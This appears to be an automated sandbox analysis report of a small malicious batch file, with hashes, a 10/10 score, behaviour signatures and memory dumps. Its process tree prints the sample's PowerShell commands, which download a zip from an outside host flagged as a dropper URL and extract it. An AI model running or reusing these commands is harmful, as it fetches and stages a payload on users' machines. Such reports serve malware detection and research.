1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1560s
max time network
1572s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 10:14

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General

Target

tesy - Copy (9).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2244	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2244	powershell.exe
2500	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 924 wrote to memory of 2244	924	cmd.exe	29
PID 924 wrote to memory of 2244	924	cmd.exe	29
PID 924 wrote to memory of 2244	924	cmd.exe	29
PID 924 wrote to memory of 2500	924	cmd.exe	32
PID 924 wrote to memory of 2500	924	cmd.exe	32
PID 924 wrote to memory of 2500	924	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:924
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2500

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
bffc5b3b109ccb8e61446d23f4c44b7e

SHA1
db4821e99d7ff663cb7f06689007e6719a133104

SHA256
99556c8b7e17990b9257bb6d7018eb44a7a89569a942a821d31ac0558b6facf2

SHA512
78c9d8c5e5f4c0b3537e4449601396f739289e6d9fe7d2e7b541bd4f30bdb433bd6092fcf4a06ec5eecff37f280e99164acfa8d06dbf742ea9a94bd0a1c2c1c2

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YVQ5JHS8XN6TKF19EBNN.temp

Filesize
7KB

MD5
bffc5b3b109ccb8e61446d23f4c44b7e

SHA1
db4821e99d7ff663cb7f06689007e6719a133104

SHA256
99556c8b7e17990b9257bb6d7018eb44a7a89569a942a821d31ac0558b6facf2

SHA512
78c9d8c5e5f4c0b3537e4449601396f739289e6d9fe7d2e7b541bd4f30bdb433bd6092fcf4a06ec5eecff37f280e99164acfa8d06dbf742ea9a94bd0a1c2c1c2

Download Submit
memory/2244-16-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-13-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2244-10-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-9-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-8-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-11-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-12-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2244-17-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-14-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-15-0x0000000002790000-0x0000000002810000-memory.dmp

Filesize
512KB

Download
memory/2244-4-0x000000001B320000-0x000000001B602000-memory.dmp

Filesize
2.9MB

Download
memory/2244-7-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2244-5-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2244-6-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2244-19-0x000007FEF5870000-0x000007FEF620D000-memory.dmp

Filesize
9.6MB

Download
memory/2500-31-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2500-26-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2500-27-0x0000000002010000-0x0000000002018000-memory.dmp

Filesize
32KB

Download
memory/2500-28-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download
memory/2500-29-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2500-30-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2500-25-0x000000001B2F0000-0x000000001B5D2000-memory.dmp

Filesize
2.9MB

Download
memory/2500-32-0x00000000027A0000-0x0000000002820000-memory.dmp

Filesize
512KB

Download
memory/2500-33-0x000007FEF4ED0000-0x000007FEF586D000-memory.dmp

Filesize
9.6MB

Download